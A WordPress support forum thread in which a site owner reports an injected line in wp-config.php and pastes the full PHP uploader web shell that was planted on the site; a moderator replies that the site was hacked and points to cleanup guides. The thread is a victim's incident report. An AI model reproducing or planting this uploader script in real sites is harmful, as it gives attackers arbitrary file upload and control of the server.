Title: Upload PHP Script through wp-config.php
Last modified: September 26, 2018

---

# Upload PHP Script through wp-config.php

 *  [willyrl](https://wordpress.org/support/users/willyrl/)
 * (@willyrl)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/upload-php-script-through-wp-config-php/)
 * Hi There,
 * I want to report, that someone has uploaded php uploader script through wp-config.
   php
 * the wp-config.php become like this
 *     ```
       // ** MySQL settings - You can get this info from your web host ** //
       /** The name of the database for WordPress */
       define('DB_NAME', 'wordpress'); file_put_contents("wp-upload-class.php", base64_decode('code removed by moderator')); /*');
   
       /** MySQL database username */
       define('DB_USER', 'user');
   
       /** MySQL database password */
       define('DB_PASSWORD', 'password');
   
       /** MySQL hostname */
       define('DB_HOST', 'localhost:');
   
       /** Database Charset to use in creating database tables. */
       define('DB_CHARSET', 'utf8mb4');
   
       /** The Database Collate type. Don't change this if in doubt. */
       define('DB_COLLATE', '');
       ```
   
 * also they successfully create wp-upload-class.php
    with uploader script which
   encoded as Base64
 *     ```
       <?php
       echo "This shit works!";
       if (isset($_FILES["filename"]))
       {
          if($_FILES["filename"]["size"] > 1024*3*1024)
          {
            echo ("File too large (more than 3Mb)");
            exit;
          }
          if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
          {
            move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
       	 echo ("<br>Done!<br>");
          } else {
             echo("<br>Error! ".$php_errormsg."<br>");
          }
       }
       ?>
       ```
   
 * Please Fix It, i don’t know if anybody have been attacked with same method or
   not.
    -  This topic was modified 7 years, 8 months ago by [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/).
    -  This topic was modified 7 years, 8 months ago by [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/).

Viewing 1 replies (of 1 total)

 *  Moderator [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/)
 * (@sterndata)
 * Volunteer Forum Moderator
 * [7 years, 8 months ago](https://wordpress.org/support/topic/upload-php-script-through-wp-config-php/#post-10726613)
 * There’s nothing for us to fix. Your site was hacked; somehow someone got to your
   wp-config.php file. There are a number of ways for that to happen.
 * Get a fresh cup of coffee, take a deep breath and carefully follow [this guide](https://codex.wordpress.org/FAQ_My_site_was_hacked).
   When you’re done, you may want to implement some (if not all) of [the recommended security measures](https://codex.wordpress.org/Hardening_WordPress).
 * If you’re unable to clean your site(s) successfully, there are reputable organizations
   that can clean your sites for you. Sucuri and Wordfence are a couple.
 * Note: moved from alpha/beta to fixing wordpress.
    -  This reply was modified 7 years, 8 months ago by [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/).

Viewing 1 replies (of 1 total)

The topic ‘Upload PHP Script through wp-config.php’ is closed to new replies.

## Tags

 * [shell](https://wordpress.org/support/topic-tag/shell/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 1 reply
 * 2 participants
 * Last reply from: [Steven Stern (sterndata)](https://wordpress.org/support/users/sterndata/)
 * Last activity: [7 years, 8 months ago](https://wordpress.org/support/topic/upload-php-script-through-wp-config-php/#post-10726613)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics